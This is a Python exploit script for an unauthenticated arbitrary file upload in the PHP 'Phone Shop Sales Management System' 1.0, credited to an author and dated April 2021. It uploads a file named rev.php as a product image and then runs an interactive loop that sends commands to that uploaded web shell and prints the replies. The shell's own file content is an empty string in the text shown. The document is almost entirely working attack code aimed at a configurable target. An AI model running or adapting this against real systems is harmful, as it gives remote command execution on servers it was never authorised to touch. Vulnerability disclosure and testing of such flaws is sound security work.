# Exploit Title: Phone Shop Sales Management System - Arbitrary File Upload (Unauthenticated) # Date: 20/04/21 # Exploit Author: Richard Jones # Vendor Homepage: https://www.sourcecodester.com/php/10882/phone-shop-sales-managements-system.html # Version: 1.0 # Tested on: Windows 10 build 19041 + xampp 3.2.4 import requests import sys IP="127.0.0.1" # CHANGE ME ADDURL=f"http://{IP}/osms/Execute/ExAddProduct.php" CALLSHELLURL=f"http://{IP}/osms/assets/img/Product_Uploaded/rev.php" s = requests.Session() def postShell(): data = { "ProductName":"1", "BrandName":"1", "ProductPrice":1, "Quantity":"1", "TotalPrice":1, "DisplaySize":"1", "OperatingSystem":"1", "Processor":"1", "InternalMemory":"1", "RAM":"1", "CameraDescription":"1", "BatteryLife":"1", "Weight":"1", "Model":"1", "Dimension":"1", "date2":"1", "Description":"1", "_wysihtml5_mode":"1", } fileData = { 'ProductImage':("rev.php","", "application/octet-stream")} r = s.post(ADDURL, files=fileData, data=data) if "The product is successfully added" in r.text: return True else: return False def runWebShell(): try: while True: cmd=input("\033[32;1m" +"$: "+ "\033[0m") if cmd == "exit": sys.exit() r = s.get(f"{CALLSHELLURL}?c={cmd}", verify=False) if r.status_code == 200: print(r.text) else: raise Exception("Cmd error") except KeyboardInterrupt(): sys.exit() def banner(): ban = r"""__________.__ _________.__ _________ .__ _____ _________ \______ \ |__ ____ ____ ____ / _____/| |__ ____ ______ / _____/____ | | ____ ______ / \ / _____/ | ___/ | \ / _ \ / \_/ __ \ \_____ \ | | \ / _ \\____ \ \_____ \\__ \ | | _/ __ \ / ___/ / \ / \ \_____ \ | | | Y ( <_> ) | \ ___/ / \| Y ( <_> ) |_> > / \/ __ \| |_\ ___/ \___ \ / Y \ / \ |____| |___| /\____/|___| /\___ > /_______ /|___| /\____/| __/ /_______ (____ /____/\___ >____ > \____|__ / /\ /_______ / /\ \/ \/ \/ \/ \/ |__| \/ \/ \/ \/ \/ \/ \/ \/ """ return ban def main(): print("\033[34;1m" + banner() + "\033[0m") print("\033[32;1m" + "Created by Richard Jones 20/04/2021"+ "\033[0m" + "\n") print("\033[72;1m" +"[+] Sending WebShell..."+ "\033[0m") if postShell(): print("\033[72;1m" +"[+] Calling WebShell..."+ "\033[0m") runWebShell() if __name__ == "__main__": main()